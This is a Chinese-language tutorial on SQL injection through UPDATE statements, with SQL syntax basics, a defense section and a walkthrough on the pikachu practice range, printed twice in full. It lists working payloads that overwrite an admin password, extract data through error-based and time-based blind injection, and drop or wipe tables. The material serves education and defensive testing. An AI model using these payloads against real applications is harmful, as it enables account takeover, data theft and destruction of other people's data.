本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、概念核心原理常见攻击手法1. 修改其他用户的数据越权更新2. 利用 UPDATE 注入窃取数据3. 利用 UPDATE 进行布尔或时间盲注危害防御措施示例合法的测试环境二、SQL 增删改语法INSERT、DELETE、UPDATE1. 插入数据INSERT2. 删除数据DELETE3. 更新数据UPDATE补充替换数据REPLACEMySQL 特有三、更新注入的SQL语法1. 修改其他用户的数据越权2. 利用报错注入提取数据MySQL3. 时间盲注无回显时4. 利用 RETURNING / OUTPUT 子句窃取数据PostgreSQL / SQL Server5. 批量修改或破坏数据6. 堆叠查询如果支持防御总结四、靶场渗透演示1、判断类型2、增3、改4、删一、概念更新注入UPDATE Injection是 SQL 注入的一种类型攻击者利用 Web 应用中存在 SQL 注入漏洞的UPDATE语句通过构造恶意输入来修改数据库中的记录甚至可能利用UPDATE语句的副作用如BENCHMARK、SLEEP进行时间盲注或通过RETURNING/OUTPUT子句窃取数据。核心原理应用程序在更新用户信息如修改密码、个人信息时使用了字符串拼接方式构造 SQL 语句例如$sql UPDATE users SET password .$_POST[new_pwd]. WHERE username .$_SESSION[user].;攻击者可以在new_pwd参数中注入额外的 SQL 代码改变原始 SQL 的语义。常见攻击手法1. 修改其他用户的数据越权更新通过注入WHERE条件影响其他用户的记录 OR 11拼接后UPDATE users SET password OR 11 WHERE username admin -- 实际会更新所有用户更精确的利用, password hacked WHERE username admin --导致admin的密码被修改。2. 利用UPDATE注入窃取数据结合RETURNINGPostgreSQL、OUTPUTSQL Server或子查询可以将数据带出。MySQL 示例无法直接返回但可以通过报错或时间盲注password new || (SELECT extractvalue(1, concat(0x7e, database()))) --报错注入将数据库名显示在错误信息中。PostgreSQLpassword new RETURNING (SELECT usename FROM pg_user) --如果应用显示更新后的密码可能直接泄露数据。3. 利用UPDATE进行布尔或时间盲注修改条件使其永远为真或假并通过页面响应差异或时间延迟推断数据password new WHERE username admin AND IF(ASCII(SUBSTRING(database(),1,1)) 100, SLEEP(5), 0) --即使没有回显时间盲注依然有效。危害越权修改修改其他用户的密码、邮箱、权限等。数据破坏将关键字段置空或篡改业务数据。信息泄露结合报错或时间盲注提取数据库内容。权限提升将普通用户的role字段改为admin。防御措施参数化查询预编译UPDATE语句也使用参数化避免拼接。最小权限原则数据库用户只授予必需的UPDATE权限限制可更新的列。输入验证对更新内容进行类型校验和白名单过滤。ORM 框架使用 Laravel Eloquent、Hibernate 等自动参数化的框架。示例合法的测试环境假设一个修改密码的接口正常请求POST /update_profile.php new_password123456攻击载荷new_password123456, emailattackerexample.com WHERE usernameadmin --如果注入成功攻击者可以修改admin的邮箱地址进而重置密码。总结更新注入是专门针对UPDATE语句的 SQL 注入攻击目标主要是篡改数据和利用辅助子查询窃取信息。防御核心与普通注入一致参数化查询 最小权限。二、SQL 增删改语法INSERT、DELETE、UPDATE1. 插入数据INSERT基本语法INSERT INTO 表名 (列1, 列2, ...) VALUES (值1, 值2, ...);示例-- 插入完整行所有列 INSERT INTO users VALUES (1, john, password123, johnexample.com); -- 插入指定列 INSERT INTO users (username, email) VALUES (alice, aliceexample.com); -- 一次插入多行 INSERT INTO users (username, email) VALUES (bob, bobexample.com), (carol, carolexample.com);2. 删除数据DELETE基本语法DELETE FROM 表名 WHERE 条件;示例-- 删除指定用户 DELETE FROM users WHERE user_id 10; -- 删除所有未验证的用户 DELETE FROM users WHERE verified 0; -- 删除所有行谨慎 DELETE FROM users;注意不带WHERE会删除表中所有行但保留表结构。3. 更新数据UPDATE基本语法UPDATE 表名 SET 列1 新值1, 列2 新值2, ... WHERE 条件;示例-- 更新单列 UPDATE users SET password newpass WHERE username admin; -- 更新多列 UPDATE users SET email newexample.com, active 1 WHERE user_id 5; -- 使用表达式或函数 UPDATE products SET price price * 1.1 WHERE category electronics;补充替换数据REPLACEMySQL 特有如果主键或唯一索引冲突则先删除再插入否则直接插入。REPLACE INTO users (id, username) VALUES (1, new_name);三、更新注入的SQL语法在更新注入UPDATE Injection中攻击者利用的是存在漏洞的UPDATE语句通过构造恶意输入改变 SQL 的原始意图。以下是典型的攻击 SQL 语句Payload及其效果1. 修改其他用户的数据越权假设原始 SQL 为UPDATE users SET password 用户输入的新密码 WHERE username 当前登录用户;Payload在“新密码”字段输入, password hacked WHERE username admin --拼接后UPDATE users SET password , password hacked WHERE username admin -- WHERE username 当前用户;效果将admin的密码改为hacked。变体修改多个字段, email attackerevil.com, password newpass WHERE username admin --2. 利用报错注入提取数据MySQLPayload在可注入的字段中 OR (SELECT extractvalue(1, concat(0x7e, database()))) OR 假设原始UPDATE中字段值被引号包裹可闭合后插入报错函数。完整示例UPDATE users SET password OR extractvalue(1, concat(0x7e, database())) OR WHERE username admin;如果应用显示数据库错误会暴露出当前数据库名。3. 时间盲注无回显时Payload, last_login IF(ASCII(SUBSTRING(database(),1,1)) 100, SLEEP(5), 0) --效果根据条件是否触发SLEEP(5)可通过响应时间推断字符。通用时间盲注模板SET column value WHERE condition AND IF(布尔表达式, SLEEP(5), 0)例如UPDATE users SET token WHERE id 1 AND IF(SUBSTRING(database(),1,1)s, SLEEP(5), 0);4. 利用RETURNING/OUTPUT子句窃取数据PostgreSQL / SQL ServerPostgreSQL, email (SELECT usename FROM pg_user LIMIT 1) RETURNING email --如果应用将更新后的值回显到页面则直接泄露数据。SQL Server OUTPUT inserted.email WHERE username admin --5. 批量修改或破坏数据无条件修改所有行, password evil --拼接后WHERE子句被注释导致全表密码被改。清空关键字段, email NULL WHERE 11 --6. 堆叠查询如果支持; DROP TABLE users; --利用UPDATE注入点执行多条语句需要数据库驱动支持堆叠。防御总结使用参数化查询预编译处理UPDATE语句。对输入进行严格校验如密码字段不允许出现 SQL 关键字。数据库账户使用最小权限禁止FILE、SUPER等权限。关闭错误回显使用统一错误页面。四、靶场渗透演示以pikachu靶场为例1、判断类型账号肯定是字符型所以需要判断是单引号闭合还是双引号闭合先随便填进行注册注册成功卡顿了判断是单引号闭合2、增有报错那就能进行错误注入爆出来数据库名3、改先注册个账号登录进去打开bp进行抓包进行修改进行错误注入4、删这里有个删除功能用bp抓包get请求空格需要url编码进行验证发生卡顿判断是数字型然后进行错误注入获取数据库名称
Web渗透之SQL注入-更新注入
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、概念核心原理常见攻击手法1. 修改其他用户的数据越权更新2. 利用 UPDATE 注入窃取数据3. 利用 UPDATE 进行布尔或时间盲注危害防御措施示例合法的测试环境二、SQL 增删改语法INSERT、DELETE、UPDATE1. 插入数据INSERT2. 删除数据DELETE3. 更新数据UPDATE补充替换数据REPLACEMySQL 特有三、更新注入的SQL语法1. 修改其他用户的数据越权2. 利用报错注入提取数据MySQL3. 时间盲注无回显时4. 利用 RETURNING / OUTPUT 子句窃取数据PostgreSQL / SQL Server5. 批量修改或破坏数据6. 堆叠查询如果支持防御总结四、靶场渗透演示1、判断类型2、增3、改4、删一、概念更新注入UPDATE Injection是 SQL 注入的一种类型攻击者利用 Web 应用中存在 SQL 注入漏洞的UPDATE语句通过构造恶意输入来修改数据库中的记录甚至可能利用UPDATE语句的副作用如BENCHMARK、SLEEP进行时间盲注或通过RETURNING/OUTPUT子句窃取数据。核心原理应用程序在更新用户信息如修改密码、个人信息时使用了字符串拼接方式构造 SQL 语句例如$sql UPDATE users SET password .$_POST[new_pwd]. WHERE username .$_SESSION[user].;攻击者可以在new_pwd参数中注入额外的 SQL 代码改变原始 SQL 的语义。常见攻击手法1. 修改其他用户的数据越权更新通过注入WHERE条件影响其他用户的记录 OR 11拼接后UPDATE users SET password OR 11 WHERE username admin -- 实际会更新所有用户更精确的利用, password hacked WHERE username admin --导致admin的密码被修改。2. 利用UPDATE注入窃取数据结合RETURNINGPostgreSQL、OUTPUTSQL Server或子查询可以将数据带出。MySQL 示例无法直接返回但可以通过报错或时间盲注password new || (SELECT extractvalue(1, concat(0x7e, database()))) --报错注入将数据库名显示在错误信息中。PostgreSQLpassword new RETURNING (SELECT usename FROM pg_user) --如果应用显示更新后的密码可能直接泄露数据。3. 利用UPDATE进行布尔或时间盲注修改条件使其永远为真或假并通过页面响应差异或时间延迟推断数据password new WHERE username admin AND IF(ASCII(SUBSTRING(database(),1,1)) 100, SLEEP(5), 0) --即使没有回显时间盲注依然有效。危害越权修改修改其他用户的密码、邮箱、权限等。数据破坏将关键字段置空或篡改业务数据。信息泄露结合报错或时间盲注提取数据库内容。权限提升将普通用户的role字段改为admin。防御措施参数化查询预编译UPDATE语句也使用参数化避免拼接。最小权限原则数据库用户只授予必需的UPDATE权限限制可更新的列。输入验证对更新内容进行类型校验和白名单过滤。ORM 框架使用 Laravel Eloquent、Hibernate 等自动参数化的框架。示例合法的测试环境假设一个修改密码的接口正常请求POST /update_profile.php new_password123456攻击载荷new_password123456, emailattackerexample.com WHERE usernameadmin --如果注入成功攻击者可以修改admin的邮箱地址进而重置密码。总结更新注入是专门针对UPDATE语句的 SQL 注入攻击目标主要是篡改数据和利用辅助子查询窃取信息。防御核心与普通注入一致参数化查询 最小权限。二、SQL 增删改语法INSERT、DELETE、UPDATE1. 插入数据INSERT基本语法INSERT INTO 表名 (列1, 列2, ...) VALUES (值1, 值2, ...);示例-- 插入完整行所有列 INSERT INTO users VALUES (1, john, password123, johnexample.com); -- 插入指定列 INSERT INTO users (username, email) VALUES (alice, aliceexample.com); -- 一次插入多行 INSERT INTO users (username, email) VALUES (bob, bobexample.com), (carol, carolexample.com);2. 删除数据DELETE基本语法DELETE FROM 表名 WHERE 条件;示例-- 删除指定用户 DELETE FROM users WHERE user_id 10; -- 删除所有未验证的用户 DELETE FROM users WHERE verified 0; -- 删除所有行谨慎 DELETE FROM users;注意不带WHERE会删除表中所有行但保留表结构。3. 更新数据UPDATE基本语法UPDATE 表名 SET 列1 新值1, 列2 新值2, ... WHERE 条件;示例-- 更新单列 UPDATE users SET password newpass WHERE username admin; -- 更新多列 UPDATE users SET email newexample.com, active 1 WHERE user_id 5; -- 使用表达式或函数 UPDATE products SET price price * 1.1 WHERE category electronics;补充替换数据REPLACEMySQL 特有如果主键或唯一索引冲突则先删除再插入否则直接插入。REPLACE INTO users (id, username) VALUES (1, new_name);三、更新注入的SQL语法在更新注入UPDATE Injection中攻击者利用的是存在漏洞的UPDATE语句通过构造恶意输入改变 SQL 的原始意图。以下是典型的攻击 SQL 语句Payload及其效果1. 修改其他用户的数据越权假设原始 SQL 为UPDATE users SET password 用户输入的新密码 WHERE username 当前登录用户;Payload在“新密码”字段输入, password hacked WHERE username admin --拼接后UPDATE users SET password , password hacked WHERE username admin -- WHERE username 当前用户;效果将admin的密码改为hacked。变体修改多个字段, email attackerevil.com, password newpass WHERE username admin --2. 利用报错注入提取数据MySQLPayload在可注入的字段中 OR (SELECT extractvalue(1, concat(0x7e, database()))) OR 假设原始UPDATE中字段值被引号包裹可闭合后插入报错函数。完整示例UPDATE users SET password OR extractvalue(1, concat(0x7e, database())) OR WHERE username admin;如果应用显示数据库错误会暴露出当前数据库名。3. 时间盲注无回显时Payload, last_login IF(ASCII(SUBSTRING(database(),1,1)) 100, SLEEP(5), 0) --效果根据条件是否触发SLEEP(5)可通过响应时间推断字符。通用时间盲注模板SET column value WHERE condition AND IF(布尔表达式, SLEEP(5), 0)例如UPDATE users SET token WHERE id 1 AND IF(SUBSTRING(database(),1,1)s, SLEEP(5), 0);4. 利用RETURNING/OUTPUT子句窃取数据PostgreSQL / SQL ServerPostgreSQL, email (SELECT usename FROM pg_user LIMIT 1) RETURNING email --如果应用将更新后的值回显到页面则直接泄露数据。SQL Server OUTPUT inserted.email WHERE username admin --5. 批量修改或破坏数据无条件修改所有行, password evil --拼接后WHERE子句被注释导致全表密码被改。清空关键字段, email NULL WHERE 11 --6. 堆叠查询如果支持; DROP TABLE users; --利用UPDATE注入点执行多条语句需要数据库驱动支持堆叠。防御总结使用参数化查询预编译处理UPDATE语句。对输入进行严格校验如密码字段不允许出现 SQL 关键字。数据库账户使用最小权限禁止FILE、SUPER等权限。关闭错误回显使用统一错误页面。四、靶场渗透演示以pikachu靶场为例1、判断类型账号肯定是字符型所以需要判断是单引号闭合还是双引号闭合先随便填进行注册注册成功卡顿了判断是单引号闭合2、增有报错那就能进行错误注入爆出来数据库名3、改先注册个账号登录进去打开bp进行抓包进行修改进行错误注入4、删这里有个删除功能用bp抓包get请求空格需要url编码进行验证发生卡顿判断是数字型然后进行错误注入获取数据库名称